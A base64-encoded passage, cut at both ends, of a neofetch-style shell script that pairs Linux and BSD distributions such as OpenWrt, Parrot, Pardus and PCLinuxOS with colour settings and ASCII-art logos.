vJHtjMX1jJHtjMn1vbU1NTU1OaCR7YzF9Y2NjY2NjY2NjY2NjY2NjCi5jY2NjY2NjY2NjY2NjY2Mke2MyfTpNTU1NTU1NTS8ke2MxfWNjY2NjY2NjY2NjY2NjCi5jY2NjY2NjY2NjY2NjY2NjJHtjMn1zTk5OTk5kKyR7YzF9Y2NjY2NjY2NjY2NjY2MuCmAuLmNjY2NjY2NjY2NjY2NjY2Mke2MyfS8rLzoke2MxfWNjY2NjY2NjY2NjY2NjLi5gCiAgIGBgLmNjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2MuYGAKICAgICAgIGAuY2NjY2NjY2NjY2NjY2NjY2NjY2NjYy5gCiAgICAgICAgICBgYC5jY2NjY2NjY2NjY2NjYy5gYAogICAgICAgICAgICAgIGAuY2NjY2NjY2MuYAogICAgICAgICAgICAgICAgIGAuLi4uYApFT0YKICAgICAgICA7OwoKICAgICAgICAiT3BlbkluZGlhbmEiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0gICAgICAgICAgICAgICAgICAgICAgICAgLnN5LwogICAgICAgICAgICAgICAgICAgICAgICAgLnloKwoKICAgICAgICAgICAke2MxfS0rc3l5eW8rLSAgICAgJHtjMn0gLysuCiAgICAgICAgICR7YzF9K2Rkby8tLS0vc2RoLyAgICR7YzJ9IHltLQogICAgICAgJHtjMX1gaG0rICAgICAgICBgc21zJHtjMn0gICB5bS1gYGBgYGBgLi0uCiAgICAgICAke2MxfXNtKyAgICAgICAgICAgc20vICR7YzJ9IHltLSAgICAgICAgICtzCiAgICAgICAke2MxfWhtLiAgICAgICAgICAgL21vICR7YzJ9IHltLSAgICAgICAgIC9oCiAgICAgICAke2MxfW9tbyAgICAgICAgICAgeW06ICR7YzJ9IHltLSAgICAgICBgb3NgCiAgICAgICAgJHtjMX1zbW9gICAgICAgIC55bSsgJHtjMn0gIHltLSAgICAgLm9zLQogICAgIGBgICAke2MxfTp5bXkrLy8vb3ltcy0gJHtjMn0gICB5bS0gIC4rcysuCiAgIC4uYCAgICAgJHtjMX1gOitvbysvLWAgICR7YzJ9ICAgIC0vL295by0KIC06YCAgICAgICAgICAgICAgICAgICAuOm95cy8uCistICAgICAgICAgICAgICAgYC4vb3l5cy8uCmgrYCAgICAgIGAuLTorb3l5eW8vLWAKYC9vc3Nzc3lzc28rLy0uYApFT0YKICAgICAgICA7OwoKICAgICAgICAib3Blbm1hbWJhIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNyAyCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAgICAgYGBgYGAKICAgICAgICAgICAuLS8rb29vb29vb29vKy86LWAKICAgICAgICAuL29vb29vb29vb29vb29vb29vb28rOi4KICAgICAgLStvb29vb29vb29vb29vb29vb29vb29vb28rLQogICAgLitvb29vb29vb28rLzotLS06Oi8rb29vb29vb29vKy4KICAgOm9vb29vb29vLy1gICAgICAgICAgIGAtL29vJHtjMn1zwrQke2MxfW9vb28uJHtjMn1zwrQke2MxfQogIDpvb29vb29vL2AgICAgICAgICAgICAgICAgYCR7YzJ9c05kcyR7YzF9b29vJHtjMn1zTmRzJHtjMX0KIC1vb29vb29vLSAgICAgICAgICAgICAgICAgICAke2MyfTpkbXkke2MxfW9vbyR7YzJ9OmRteSR7YzF9CiArb29vb29vOiAgICAgICAgICAgICAgICAgICAgICA6b29vb29vLQoub29vb29vbyAgICAgICAgICAgICAgICAgICAgICAgIC46Ly86YAo6b29vb29vKyAgICAgICAgICAgICAgICAgICAgICAgIC4vK28rOmAKLW9vb29vb29gICAgICAgICAgICAgICAgICAgICAgIGBvb29vb28rCmBvb29vb29vOiAgICAgICAgICAgICAgICAgICAgICAvb29vb29vKwogLW9vb29vb286ICAgICAgICAgICAgICAgICAgICA6b29vb29vby4KICA6b29vb29vbysuICAgICAgICAgICAgICAgIC4rb29vb29vbzoKICAgOm9vb29vb29vKy1gICAgICAgICAgIGAtK29vb29vb29vOgogICAgLitvb29vb29vb28rLzo6Ojo6Ly9vb29vb29vb29vKy4KICAgICAgLStvb29vb29vb29vb29vb29vb29vb29vb28rLQogICAgICAgIC46b29vb29vb29vb29vb29vb29vbys6LgogICAgICAgICAgIGAtOi9vb29vb29vb28rLzouYAogICAgICAgICAgICAgICAgIGBgYGBgYApFT0YKICAgICAgICA7OwoKICAgICAgICAiT3Blbk1hbmRyaXZhIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNAogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICAgICBgYGBgYGAKICAgICAgICAgICAgYC06LysrKysrKysvLzotLmAKICAgICAgICAgLjorKytvb29vKy86LmBgICAgYGAKICAgICAgYDorb29vb29vbys6LiAgYC06LysrKysrKy86LmAKICAgICAtK29vb29vb29vOmAgYC0rK28rLzo6Ojo6Ly8rbysvLQogICBgL29vb29vb29vby0gIC0rb28vLmAgICAgICAgIGAtL29vKy4KICBgK29vb29vb29vby4gIDpvcy9gICAgICAgICAgICAgICAuK3NvOgogICtzc3Nzc3Nzc3MvICA6c3MvICAgICAgICAgICAgICAgICBgK3NzLQogOnNzc3Nzc3Nzc3NgICBzc3NgICAgICAgICAgICAgICAgICAgLnNzbwogb3Nzc3Nzc3Nzc3MgIGB5eW8gICAgICAgICAgICAgICAgICAgIHN5cwpgc3Nzc3Nzc3Nzc3NgIGB5eXMgICAgICAgICAgICAgICAgICAgYHl5cwpgc3Nzc3Nzc3Nzc3M6ICAreXkvICAgICAgICAgICAgICAgICAgK3l5Ogogb3l5eXl5eXl5eXlzLiBgb3l5L2AgICAgICAgICAgICAgIGAreXkrCiA6eXl5eXl5eXl5eXlvLiBgK3loczouICAgICAgICAgYC4vc2h5LwogIG95eXl5eXl5eXl5eXM6YCAub3loeXMrOi0tLS0vK3N5aHkrLiBgCiAgYHN5eXl5eXl5eXl5eXlvLWAgLjpvc3loaGhoaHl5cys6YGAuOmAKICAgYG95eXl5eXl5eXl5eXl5cystYGAgYC4tLS0tLmBgYC4vb28uCiAgICAgL3loaGhoaGhoaGhoaGhoaHlzbysvLzovLytvc3loeS9gCiAgICAgIGAveWhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaHkvYAogICAgICAgIGA6b3loaGhoaGhoaGhoaGhoaGhoaGh5bzpgCiAgICAgICAgICAgIC46K3N5aGhoaGhoaGh5cys6LWAKICAgICAgICAgICAgICAgICBgYC4uLi5gYApFT0YKICAgICAgICA7OwoKICAgICAgICAiT3BlblN0YWdlIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMgogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICAgIC8oLwogICAgICAgICAgICAgIC4oKCgoKCgoLAogICAgICAgICAgICAgLygoKCgoKCgoKC8KICAgICAgICAgICAuKCgoKCgvLC8oKCgoKCwKICAgICAgICAgICooKCgoKCogICAsKCgoKCgvCiAgICAgICAgICAoKCgoKCogICAgICAuKi8oKAogICAgICAgICAqKCgoKC8gICgvLygvKgogICAgICAgICAvKCgoKCogICgoKCgoKCgoKCgsCiAgICAgIC4gIC8oKCgoKiAgKCgoKCgoKCgoKCgoKC4KICAgICAoKC4gKigoKCgvICAgICAgICAsKCgoKCgoKCgKICAgLCgoKC8gICgoKCgoLyAgICAgKiogICAsKCgoKCgoKgogIC8oKCgoKC4gLigoKCgoLyAgIC8vKCgoKiAgKigoKCgoLwogLigoKCgoLCAgICAoKC8gICAuKCgoKCgvLiAgIC4oKCgoKCwKIC8oKCgoKiAgICAgICAgLCgoKCgoKCgvICAgICAgLCgoKCgoCiAvKCgoKCgoKCgoKCgoKCgoKCgoKC8uICAvKCgoKCgoKCgoLwogLygoKCgoKCgoKCgoKCgoKCgoLCAgIC8oKCgoKCgoKCgoKC8KICAgICAqLygoKCgoLy8qLiAgICAgICovKCgvKC8oLyoKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIk9wZW5XcnQiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gX19fX19fXwp8ICAgICAgIHwuLS0tLS0uLS0tLS0uLS0tLS0uCnwgICAtICAgfHwgIF8gIHwgIC1fX3wgICAgIHwKfF9fX19fX198fCAgIF9ffF9fX19ffF9ffF9ffAogICAgICAgICB8X198CiBfX19fX19fXyAgICAgICAgX18KfCAgfCAgfCAgfC4tLS0tLnwgIHxfCnwgIHwgIHwgIHx8ICAgX3x8ICAgX3wKfF9fX19fX19ffHxfX3wgIHxfX19ffApFT0YKICAgICAgICA7OwoKICAgICAgICAiT3BlbiBTb3VyY2UgTWVkaWEgQ2VudGVyIiogfCAib3NtYyIpCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA3IDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgLStzaGRtTk5OTm1kaHMrLQogICAgICAgIC4raE1OaG8vOi4uYGAuLjovb2hOTWgrLgogICAgICA6aE1kby4gICAgICAgICAgICAgICAgLm9kTWg6CiAgICAtZE15LSAgICAgICAgICAgICAgICAgICAgICAteU1kLQogICBzTWQtICAgICAgICAgICAgICAgICAgICAgICAgICAtZE1zCiAgaE15ICAgICAgICsuICAgICAgICAgICAgLisgICAgICAgeU1oCiB5TXkgICAgICAgIGRNcy4gICAgICAgIC5zTWQgICAgICAgIHlNeQo6TW0gICAgICAgICBkTU5Nc2AgICAgYHNNTk1kICAgICAgICBgbU06CnlNKyAgICAgICAgIGRNLy9tTnNgYHNObS8vTWQgICAgICAgICArTXkKbU0tICAgICAgICAgZE06ICArTk5OTisgIDpNZCAgICAgICAgIC1NbQptTS0gICAgICAgICBkTTogYG9OTisgICAgOk1kICAgICAgICAgLU1tCnlNKyAgICAgICAgIGRNLytOTm9gICAgICA6TWQgICAgICAgICArTXkKOk1tYCAgICAgICAgZE1NTnNgICAgICAgIDpNZCAgICAgICAgYG1NOgogeU15ICAgICAgICBkTXNgICAgICAgICAgLW1zICAgICAgICB5TXkKICBoTXkgICAgICAgKy4gICAgICAgICAgICAgICAgICAgICB5TWgKICAgc01kLSAgICAgICAgICAgICAgICAgICAgICAgICAgLWRNcwogICAgLWRNeS0gICAgICAgICAgICAgICAgICAgICAgLXlNZC0KICAgICAgOmhNZG8uICAgICAgICAgICAgICAgIC5vZE1oOgogICAgICAgIC4raE1OaG8vOi4uYGAuLjovb2hOTWgrLgogICAgICAgICAgICAtK3NoZG1OTk5ObWRocystCkVPRgogICAgICAgIDs7CgogICAgICAgICJPcmFjbGUiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAxIDcgMwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0KICAgICAgYC0vKysrKysrKysrKysrKysrKysvLS5gCiAgIGAvc3l5eXl5eXl5eXl5eXl5eXl5eXl5eXl5cy8uCiAgOnl5eXlvLy0uLi4uLi4uLi4uLi4uLi4tL295eXl5LwogL3l5eXMtICAgICAgICAgICAgICAgICAgICAgLm95eXkrCi55eXl5YCAgICAgICAgICAgICAgICAgICAgICAgYHN5eXktCjp5eXlvICAgICAgICAgICAgICAgICAgICAgICAgIC95eXkvCi55eXl5YCAgICAgICAgICAgICAgICAgICAgICAgYHN5eXktCiAveXl5cy4gICAgICAgICAgICAgICAgICAgICAub3l5eW8KICAveXl5eW86LS4uLi4uLi4uLi4uLi4uLi06b3l5eXkvYAogICBgL3N5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXMrLgogICAgIGAuOi8rb29vb29vb29vb29vb29vKy86LmAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIk9TIEVsYnJ1cyIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNyAzCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgIOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhAogICDilojilojiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDilojilogKICAg4paI4paIICAgICAgICAgICAgICAgICAgICAgICDilojilogKICAg4paI4paIICAg4paI4paI4paI4paI4paI4paI4paIICAg4paI4paI4paI4paI4paI4paI4paIICAg4paI4paICiAgIOKWiOKWiCAgIOKWiOKWiCAgIOKWiOKWiCAgIOKWiOKWiCAgIOKWiOKWiCAgIOKWiOKWiAogICDilojiloggICDilojiloggICDilojiloggICDilojiloggICDilojiloggICDilojilogKICAg4paI4paIICAg4paI4paIICAg4paI4paIICAg4paI4paIICAg4paI4paIICAg4paI4paICiAgIOKWiOKWiCAgIOKWiOKWiCAgIOKWiOKWiCAgIOKWiOKWiCAgIOKWiOKWiCAgIOKWiOKWiAogICDilojiloggICDilojiloggICDilojilojilojilojilojilojiloggICDilojilojilojilojilojilojilogKICAg4paI4paIICAg4paI4paIICAgICAgICAgICAgICAgICAg4paI4paICiAgIOKWiOKWiCAgIOKWiOKWiOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWhOKWiOKWiAogICDilojiloggICDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDiloDilojilogKICAg4paI4paIICAgICAgICAgICAgICAgICAgICAgICDilojilogKICAg4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paICkVPRgogICAgICAgIDs7CgogICAgICAgICJQYWNCU0QiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAxIDcgMwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICA6K3NNcy4KICBgOmRkTk1kLSAgICAgICAgICAgICAgICAgICAgICAgICAtby0tYAogLXNNTU1NaDogICAgICAgICAgICAgICAgICAgICAgICAgIGArTitgYAogeU1NTU1Nc2AgICAgIC4uLi4uLS8tLi4uICAgICAgICAgICBgbU5oLwogeU1NTU1NbWgrLWA6c2RtbW1tbW1NbW1tbWRkeSstYGAuL2RkTk1NbQogeU5NTU5NTU1NTmR5eU5OTU1NTU1NTU1NTU1NTU1NaHlzaE5tTU1NbQogOnlNTU1NTU1NTU1OZG9vTk1NTU1NTU1NTU1NTU1NTU1ObXk6bU1NZAogICtNTU1NTU1NTU1teTpzTk1NTU1NTU1NTU1NTU1NTU1NTU1tc2hzLQogIDpoTk1NTU1NTU4rLStNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTXMuCiAub215c21OTmh5Lyt5Tk1NTU1NTU1NTU1OTU1NTU1NTU1NTmROTnktCiAvaE1NOjo6OjovaE5NTU1NTU1NTU1NTW0vLXlOTU1NTU1NTi5tTU5oYAouaE1NTU1kaGRNTU1NTU1NTU1NTU1NTW1vICBgc01NTU1NTU4gbU1NbS0KOmRNTU1NTU1NTU1NTU1NTU1NTU1NTU1kbysgIG9NTU1NTU1OYHNtTU5vYAovZE1NTU1NTU1NTU1NTU1NTU1NTU1NTU5kL2AgOnlNTU1NTU46LWhNTU0uCjpkTU1NTU1NTU1NTU1NTU1NTU1NTU1NTmhgICBvTU1NTU1NTm8vZE1OTmAKOmhNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTnMtLXNNTU1NTU1NTk5teSsrYAogc05NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTW1tTk1NTU1NTU5obzo6by4KIDp5TU1NTU1NTU1NTU1NTU5obytzeWROTk5OTk5ObXlzc28vYCAtLy8KICAvZE1NTU1NTU1NTU1NTU1zLSAgYGBgYGBgYGAuLmBgCiAgIC5vTU1NTU1NTU1NTU1NTnNgICAgICAgICAgICAgICAgLi95OmAKICAgICArZE5NTU5NTU1NTU1NbXlgICAgICAgICAgIGBgLi95cy4KICAgICAgYC9oTU1NTU1NTU1NTU1Oby1gYCAgICBgLit5eSstYAogICAgICAgIGAtL2htTk1OTU1NTU1NbW1kZGRkaGh5Ly1gCiAgICAgICAgICAgIGAtK29vb3lNTU1kc29vKy86LgpFT0YKICAgICAgICA7OwoKICAgICAgICAicGFyYWJvbGFfc21hbGwiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA1IDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICBfXyBfXyBfXyAgXwouYF8vL18vL18vIC8gYC4KICAgICAgICAgIC8gIC5gCiAgICAgICAgIC8gLmAKICAgICAgICAvLmAKICAgICAgIC9gCkVPRgogICAgICAgIDs7CgogICAgICAgICJQYXJhYm9sYSIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDUgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICAgICAgICAgICAgIGAuLS4gICAgYC4KICAgICAgICAgICAgICAgICAgIGAuYCAgYDorKy4gICBgLStvKy4KICAgICAgICAgICAgIGBgIGA6Ky8uIGA6Ky8uICAgYC0rb29vbysKICAgICAgICBgYC06Oi0uOisvLiBgOisvLiAgIGAtK29vb29vbysKICAgIGAuLTovLy8tICAuLmAgICAuLS4gICBgLStvb29vb29vby0KIGAuLi0uLmAgICAgICAgICAgICAgICAgIGArb29vb29vb29vOgpgYCAgICAgICAgICAgICAgICAgICAgICAgIDpvb29vb29vby8KICAgICAgICAgICAgICAgICAgICAgICAgICBgb29vb29vbzoKICAgICAgICAgICAgICAgICAgICAgICAgICBgb29vb29vOgogICAgICAgICAgICAgICAgICAgICAgICAgIC1vb29vKy4KICAgICAgICAgICAgICAgICAgICAgICAgICArb29vL2AKICAgICAgICAgICAgICAgICAgICAgICAgIC1vb28tCiAgICAgICAgICAgICAgICAgICAgICAgIGArby8uCiAgICAgICAgICAgICAgICAgICAgICAgIC8rLQogICAgICAgICAgICAgICAgICAgICAgIC8vYAogICAgICAgICAgICAgICAgICAgICAgLS4KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlBhcmR1cyIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDMgNyA2IDEgOAogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gLnNtTmR5Ky0gICAgYC46L29zeXlzbys6LmAgICAgLSt5ZG1Ocy4KL01kLSAtL3ltTWRtTk5kaHNvLzo6L29zaGROTm1kTW15Ly4gOmRNLwptTi4gICAgIG9NZHl5LSAteSAgICAgICAgICBgLWRNbyAgICAgLk5tCi5tTitgICBzTXkgaE4rIC06ICAgICAgICAgICAgIHlNcyAgYCtObS4KIGB5TU1kZE1zLmR5IGArYCAgICAgICAgICAgICAgIHNNZGRNTXlgCiAgICtNTU1vICAuYCAgLiAgICAgICAgICAgICAgICAgb01NTSsKICAgYE5NLyAgICBgYGBgYC5gICAgIGAuYGBgYGAgICAgK01OYAogICB5TSsgICBgLi06eWhvbXkgICAgeW1vaHk6LS5gICAgK015CiAgIHlNOiAgICAgICAgICB5byAgICBveSAgICAgICAgICA6TXkKICAgK01zICAgICAgICAgLk5gICAgIGBOLiAgICAgICtoIHNNKwogICBgTU4gICAgICAtICAgLTo6Ojo6Oi0gICA6IDpvOitgTk1gCiAgICB5TS8gICAgc2ggICAtZE1NTU1kLSAgIGhvICAreStNeQogICAgLmROaHNvaE1oLS8vOiAvbW0vIDovLy15TXlvc2hOZGAKICAgICAgYC1vbW1OTW0rOi8uIG9vIC4vOittTU5tbW86YAogICAgIGAvbysuLXNvbU5oLSA6eXk6IC1oTm1vcy0uK28vYAogICAgLi9gIC5zL2BzK3NNZGQrYGArZGRNcytzYC9zLiBgLy4KICAgICAgICA6IC15LiAgLWhObWRkbU55LiAgLnktIDoKICAgICAgICAgLSsgICAgICAgYC4uYCAgICAgICArLQpFT0YKICAgICAgICA7OwoKICAgICAgICAiUGFycm90IiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNiA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgYDpvaG8vLWAKYG1NTU1NTU1NTU1NTU5tbWRoeS0KIGRNTU1NTU1NTU1NTU1NTU1NTU1zYAogK01Nc29oTk1NTU1NTU1NTU1NTU1tLwogLk15ICAgLitkTU1NTU1NTU1NTU1NTWguCiAgKyAgICAgICA6Tk1NTU1NTU1NTU1NTU5vCiAgICAgICAgICAgYHlNTU1NTU1NTU1NTU1NbToKICAgICAgICAgICAgIC9OTU1NTU1NTU1NTU1NTXlgCiAgICAgICAgICAgICAgLmhNTU1NTU1NTU1NTU1NTisKICAgICAgICAgICAgICAgICAgYGAtTk1NTU1NTU1NTWQtCiAgICAgICAgICAgICAgICAgICAgIC9NTU1NTU1NTU1NTXNgCiAgICAgICAgICAgICAgICAgICAgICBtTU1NTU1NTXN5Tk1OLwogICAgICAgICAgICAgICAgICAgICAgK01NTU1NTU1vICA6c05oLgogICAgICAgICAgICAgICAgICAgICAgYE5NTU1NTU1tICAgICAtby8KICAgICAgICAgICAgICAgICAgICAgICBvTU1NTU1NTS4KICAgICAgICAgICAgICAgICAgICAgICBgTk1NTU1NTSsKICAgICAgICAgICAgICAgICAgICAgICAgK01NZC9OTWgKICAgICAgICAgICAgICAgICAgICAgICAgIG1NbSAtbU5gCiAgICAgICAgICAgICAgICAgICAgICAgICAvTU0gIGBoOgogICAgICAgICAgICAgICAgICAgICAgICAgIGRNYCAgIC4KICAgICAgICAgICAgICAgICAgICAgICAgICA6TS0KICAgICAgICAgICAgICAgICAgICAgICAgICAgZDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgLSsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC0KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlBhcnNpeCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDMgMSA3IDgKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiAgICAgICAgICAgICAgICAgJHtjMn0tLysvOi4KICAgICAgICAgICAgICAgJHtjMn0uc3lzc3NzeXMuCiAgICAgICAke2MxfS4tLS4gICAgJHtjMn1zc3Nzc3Nzc3NvJHtjMX0gICAuLi0tLgogICAgIDorKysrKys6ICAke2MyfStzc3Nzc3Nzcyske2MxfSAuLysrLysrKzoKICAgIC8rKysrKysrKysuJHtjMn0ueXNzb29vb3lgJHtjMX0tKy8vLy8vLy9vLQogICAgLysrKysrKysrKysuJHtjMn0rc29vb29zOiR7YzF9OisvLy8vLy8vLystCiAgICAgOisrKysrLy8vL28tJHtjMn1vb29vb28tJHtjMX0rLy8vLy8vLy8vLQogICAgICBgLS8rKy8vKystJHtjNH0uLS0tLS0uLSR7YzF9OisvLy8vLzotCiAgJHtjM30tOi8vOjotLSR7YzF9LTovOiR7YzR9Li0tLmBgYGAuLS0uJHtjMX06OjotJHtjM30tLTo6Ojo6Oi4KJHtjM30tLzo6Ojo6Ojo6Ly86JHtjNH0uOi1gICAgICAgYC06JHtjM31gOi86Ojo6Ojo6LS0vLQoke2MzfS86Ojo6Ojo6Ojo6Ly0ke2M0fS0tLiAgICAgICAgLi0uJHtjM30tLzovLy8vLzo6OjovCiR7YzN9LS86Ojo6Ojo6OjovOiR7YzR9YDotLiAgICAgIC4tOiR7YzN9YDovLy8vLy8vLy8vLy0KIGAke2MzfS06Ojo6LS0ke2MxfS4tOi8vLiR7YzR9LS0tLi4uLi0tLSR7YzF9YDorLzotJHtjM30tLTo6OjotYAogICAgICAgJHtjMX0tLysvLy8rby8tJHtjNH0uLS0tLS4ke2MxfS46b28rKytvKy4KICAgICAke2MxfS0rLy8vLy8rKytvOiR7YzJ9c3l5eXl5LiR7YzF9bysrKysrKysrKzoKICAgICR7YzF9LisvLy8vKysrKystJHtjMn0rc3Nzc3N5KyR7YzF9LisrKysrKysrKytcCiAgICAke2MxfS4rOi8rKysrKysuJHtjMn0ueXNzc3Nzc3ktJHtjMX1gKysrKysrKysrOgogICAgICR7YzF9Oi8rKysrKy0gICR7YzJ9K3Nzc3Nzc3NzcyAgJHtjMX0tKysrKysrLQogICAgICAgJHtjMX1gLS1gICAgICR7YzJ9K3Nzc3Nzc3NzbyAgICAke2MxfWAtLWAKICAgICAgICAgICAgICAgICR7YzJ9K3Nzc3NzeStgCiAgICAgICAgICAgICAgICAgJHtjMn1gLjo6LWAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlBDQlNEIiogfCAiVHJ1ZU9TIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMSA3IDMKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICAgICAgICAuLgogICAgICAgICAgICAgICAgICAgICAgICBzLgogICAgICAgICAgICAgICAgICAgICAgICAreQogICAgICAgICAgICAgICAgICAgICAgICB5TgogICAgICAgICAgICAgICAgICAgICAgIC1NTiAgYC4KICAgICAgICAgICAgICAgICAgICAgIDpOTXMgYG0KICAgICAgICAgICAgICAgICAgICAueU1NbWAgYE5vCiAgICAgICAgICAgIGAtLysrK3NkTU1NTnMrLWArTXMKICAgICAgICBgOm9vKy1gIC55TU1NTXlgIGAtK29OTWgKICAgICAgLW9vLSAgICAgK05NTU1NLyAgICAgICBvTU1oLQogICAgLnMrYCBgICAgIG9NTU1NTS8gICAgIC0gIG9NTU1oeS4KICAgK3NgLSA6OiAgIDpNTU1NTWQgICAgIC1vIGBtTU1NeWBzKwogIHkrICBoIC5OeStvTk1NTU1NTi8gICAgc2grTk1NTU1vICAreQogcysgLmRzICAtTk1NTU1NTU1NTU1OZGhkTk1NTU1NTWhgICAgK3MKLWggLk5NYCAgIGBoTU1NTU1NTU1NTU1NTU1OTU1OeTogICAgICBoLQp5LSBoTU5gICAgICBoTU1tTU1NTU1NTU1NTnNkTU5zLiAgICAgIC15Cm1gIG1NTXlgICAgIG9NTU5vTk1NTU1NTW9gICBzTU1NbyAgICAgYG0KbWAgOk5NTU1keXlkTU1NTW8rTWRNTU1zICAgICBzTU1NZGAgICBgbQpoLSAgYCt5bU1NTU1NTU1NLS1NK2hNTU4vICAgICtNTU1NeSAgIC1oCjp5ICAgICBgLnNNTU1NTS8gb01NKy55TU1OZGROTU1NTU1tICAgeToKIHk6ICAgYHMgIGRNTU4tIC5NTU1NLyA6TU1NTU1NTU1NTWggIDp5CiBgaDogIGBtZG1NTU0vICB5TU1NTXMgIHNNTU1NTU1NTU4tIDpoYAogICBzbyAgLU5NTU1OICAgL21tZCsgIGBkTU1NTU1NTW0tIG9zCiAgICA6eTogYHlNTU1gICAgICAgIGArTk1NTU1NTU5vYDp5OgogICAgICAvcytgLm9teSAgICAgIC9OTU1NTU1OaC8uK3M6CiAgICAgICAgLitvbzotLiAgICAgL21kaHMrOjpvbysuCiAgICAgICAgICAgIC0vbysrKysrKysrKysrLy0KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlBDTGludXhPUyIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgIG1oaGh5eXl5aGhoZE4KICAgICAgICBkeXNzeWhoaGhoaGhoaGhoc3N5aE4KICAgICBOeXN5aGh5by86LS4uLi4uLS9veWhoaHNzZAogICBOc3NoaHkrLiAgICAgICAgICAgICAgYC9zaGh5c20KICBkb2hoeS8gICAgICAgICAgICAgICAgICAgIC1zaGhzeQogZG9oaHNgICAgICAgICAgICAgICAgICAgICAgICAvaGh5cwpOK2hobyAgICR7YzJ9K3Nzc3NzcystICAgLitzeWh5cysgICAke2MxfS9oaHN5Cm9oaGhgICAgJHtjMn15bW1vKytobW0rYHNtbXkvOjoreWAgICAke2MxfXNoaCsKK2hobyAgICAke2MyfXltbS0gIC9tbXkrbW1zICAgICAgICAgICR7YzF9Omhob2QKL2hoKyAgICAke2MyfXltbWhoZG1taC5zbW0vICAgICAgICAgICR7YzF9Lmhoc2gKK2hocyAgICAke2MyfXltbSs6Oi1gICAvbW15YCAgICBgICAgICR7YzF9L2hoK20KeXloaC0gICAke2MyfXltbS0gICAgICAgL2RtZHlvc3lkYCAgJHtjMX1geWhoKwogb2hoeWAgICR7YzJ9Oi8vYCAgICAgICAgIC0vKysrLy0gICAke2MxfW9oaG9tCiBOK2hoeS0gICAgICAgICAgICAgICAgICAgICAgYHNoaG9oCiAgIHNzaGhvLiAgICAgICAgICAgICAgICAgIGAraGh5b20KICAgIGRzeWhocy8uICAgICAgICAgICAgYDpvaGhob3kKICAgICAgZHlzeWhoaHNvLy8vOi8vK3N5aGhoc3NoCiAgICAgICAgIGRoeXNzeWhoaGhoaHlzc3l5aE4KICAgICAgICAgICAgICBtZGRoZGhkbU4KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlBlbmd3aW4iKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA1IDUgMTMKICAgICAgICAgICAgcmVhZCAtcmQgJy